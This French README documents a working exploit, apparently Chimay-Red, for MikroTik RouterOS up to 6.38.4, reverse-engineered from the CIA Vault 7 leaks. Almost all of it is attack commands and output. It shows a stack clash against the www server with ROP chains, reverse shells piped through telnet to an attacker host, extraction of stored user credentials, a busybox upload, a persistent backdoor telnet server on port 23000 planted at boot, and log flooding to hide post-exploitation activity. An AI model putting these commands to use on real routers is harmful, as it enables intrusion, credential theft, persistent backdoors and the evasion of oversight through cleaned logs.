
POC fonctionnel de l'exploit Mikrotik issu des fuites Vault 7 de la CIA
Rétro-ingénierie de l'exploit Mikrotik issu des fuites CIA Vault 7
Voir le PDF pour plus d'informations (non mis à jour)
Jusqu'à RouterOS 6.38.4
Nouveautés dans 6.38.5 (2017-Mar-09 11:32) :
!) www - correction de la vulnérabilité du serveur http ;
Simple crash en envoyant -1 comme content-length dans l'en-tête post
Exploit stack clash utilisant deux threads, chaîne ROP manquante
Comme la ROP est créée dynamiquement, vous devez extraire le binaire www du firmware RouterOS.
(Il est placé dans /nova/bin/)
Vérifiez que la version en cours d'exécution est la même.
Pour simplifier l'extraction, vous pouvez utiliser :
$ ./tools/getROSbin.py 6.38.4 x86 /nova/bin/www www_binary
Exploit stack clash utilisant deux threads avec chaîne ROP pour exécuter des commandes bash
Dans un shell :
$ nc -l -p 1234
Dans un autre shell :
$ ./StackClash_x86.py 192.168.8.1 80 www_binary "/bin/mknod /ram/f p; /bin/telnet 192.168.8.5 1234 < /ram/f | /bin/bash > /ram/f 2>&1"
Où :
$ ./StackClash_x86.py 192.168.8.1 80 www_binary "cp /rw/store/user.dat /ram/winbox.idx"
$ sleep 3 # (attendre quelques secondes que www redémarre)
$ curl -s http://192.168.8.1/winbox/index | ./tools/extract_user.py -
Vous pouvez exécuter une commande dans la console Mikrotik avec /nova/bin/info.
Ex : /nova/bin/info "/system reboot" redémarrera le système.
$ ./StackClash_x86.py 192.168.8.1 80 www_binary "/nova/bin/info '/export' > /ram/winbox.idx"
$ sleep 20 # (l'exécution de la commande /export est un peu lente)
$ curl -s http://192.168.8.1/winbox/index
Exploit stack clash utilisant deux threads avec chaîne ROP + shell code pour exécuter des commandes bash
Sur la version mips de www, la pile est RWX, nous pouvons donc sauter vers la pile.
Vous pouvez exécuter la même commande bash que la version x86.
Commande amusante
$ ./tools/getROSbin.py 6.38.4 mipsbe /nova/bin/www www_binary
$ ./StackClash_mips.py 192.168.8.1 80 www_binary "echo hello world > /dev/lcd"

Ne le faites pas ! ;-P
$ ./StackClash_mips.py 192.168.8.1 80 www_binary "while [ true ]; do /nova/bin/info ':beep frequency=660 length=100ms;:delay 150ms;:beep frequency=660 length=100ms;:delay 300ms;:beep frequency=660 length=100ms;:delay 300ms;:beep frequency=510 length=100ms;:delay 100ms;:beep frequency=660 length=100ms;:delay 300ms;:beep frequency=770 length=100ms;:delay 550ms;:beep frequency=380 length=100ms;:delay 575ms;:beep frequency=510 length=100ms;:delay 450ms;:beep frequency=380 length=100ms;:delay 400ms;:beep frequency=320 length=100ms;:delay 500ms;:beep frequency=440 length=100ms;:delay 300ms;:beep frequency=480 length=80ms;:delay 330ms;:beep frequency=450 length=100ms;:delay 150ms;:beep frequency=430 length=100ms;:delay 300ms;:beep frequency=380 length=100ms;:delay 200ms;:beep frequency=660 length=80ms;:delay 200ms;:beep frequency=760 length=50ms;:delay 150ms;:beep frequency=860 length=100ms;:delay 300ms;:beep frequency=700 length=80ms;:delay 150ms;:beep frequency=760 length=50ms;:delay 350ms;:beep frequency=660 length=80ms;:delay 300ms;:beep frequency=520 length=80ms;:delay 150ms;:beep frequency=580 length=80ms;:delay 150ms;:beep frequency=480 length=80ms;:delay 500ms;'; done"
Pour téléverser busybox-mips dans /ram/busybox
Dans un shell :
$ wget https://busybox.net/downloads/binaries/1.28.1-defconfig-multiarch/busybox-mips
$ { echo "echo Uploading..."; hexdump -v -e '"echo -e -n " 1024/1 "\\\\x%02X" " >> /ram/busybox\n"' busybox-mips | sed -e "s/\\\\\\\\x //g"; } | nc -l -q 0 -p 1234
Dans un autre shell (notez que ceci est la commande reverse shell) :
$ ./StackClash_mips.py 192.168.8.1 80 www_binary "/bin/mknod /ram/f p; /bin/telnet 192.168.8.5 1234 < /ram/f | /bin/bash > /ram/f"
et attendez que la connexion se ferme automatiquement.
(Une fois le fichier téléversé, relancez le reverse shell (cette fois en écoutant uniquement avec nc -l -p 1234) et vous trouverez busybox dans /ram/)
Vous pouvez exécuter un script à chaque démarrage en créant un script bash dans /flash/etc/rc.d/run.d/.
Faites attention à définir les permissions d'exécution, sinon votre routeur restera bloqué au démarrage et vous devrez restaurer le firmware !
Cet exemple active un serveur telnet persistant sur le port 23000.
Dans un shell :
$ wget https://busybox.net/downloads/binaries/1.28.1-defconfig-multiarch/busybox-mips
$ { echo "echo Installing..."; hexdump -v -e '"echo -e -n " 1024/1 "\\\\x%02X" " >> /flash/bin/busybox\n"' busybox-mips | sed -e "s/\\\\\\\\x //g"; echo "chmod 777 /flash/bin/busybox"; echo "/flash/bin/busybox --install -s /flash/bin/"; echo "mkdir -p /flash/etc/rc.d/run.d"; echo 'echo -e "#!/flash/bin/sh\ntelnetd -p 23000 -l sh" > /flash/etc/rc.d/run.d/S89own'; echo "chmod 777 /flash/etc/rc.d/run.d/S89own"; echo "/nova/bin/info '/system reboot'"; echo "echo Done! Rebooting..."; } | nc -l -p 1234
Dans un autre shell (notez que ceci est la commande reverse shell) :
$ ./StackClash_mips.py 192.168.8.1 80 www_binary "/bin/mknod /ram/f p; /bin/telnet 192.168.8.5 1234 < /ram/f | /bin/bash > /ram/f"
et attendez que Done! Rebooting... apparaisse.
Une fois le routeur redémarré :
$ telnet 192.168.8.1 23000
Trying 192.168.8.1...
Connected to 192.168.8.1.
Escape character is '^]'.
MikroTik v6.38.4 (stable)
/ #
Réutilise le socket http pour lancer un shell, vous pouvez donc avoir un shell sans connexion inverse.
$ ./tools/getROSbin.py 6.38.4 mipsbe /nova/bin/www www_binary
$ ./StackClash_resock_mips.py 192.168.8.1 80 www_binary
[...]
sh: turning off NDELAY mode
Got root ;-)
Pour téléverser busybox-mips dans /ram/busybox
$ wget https://busybox.net/downloads/binaries/1.28.1-defconfig-multiarch/busybox-mips
$ ./StackClash_resock_mips.py 192.168.8.1 80 www_binary busybox-mips /ram/busybox
[...]
Uploading busybox-mips in /ram/busybox...
Upload done!
sh: turning off NDELAY mode
Got root ;-)
chmod 777 /ram/busybox
/ram/busybox
BusyBox v1.28.1 (2018-02-15 14:34:02 CET) multi-call binary.
[...]
Seuls les fichiers RGB Bitmap 24 bits (non compressés) sont pris en charge.
Taille maximale : 160px de largeur, 76px de hauteur
Vous pouvez trouver un exemple ici
$ ./StackClash_resock_mips.py 192.168.8.1 80 www_binary docs/logo.bmp /flash/boot/logo.bmp
[...]
Uploading docs/logo.bmp in /flash/boot/logo.bmp...
Upload done!
sh: turning off NDELAY mode
Got root ;-)
reboot
*** Connection closed by remote host ***

Pour supprimer les logs après vos actions de post-exploitation
/ # /nova/bin/info ":for i from=1 to=1000 do={ :log info message='Some dummy info' }"
Il s'agit d'une rétro-ingénierie de documentation CIA divulguée.
Il n'existe pas de chimay-red.py disponible publiquement.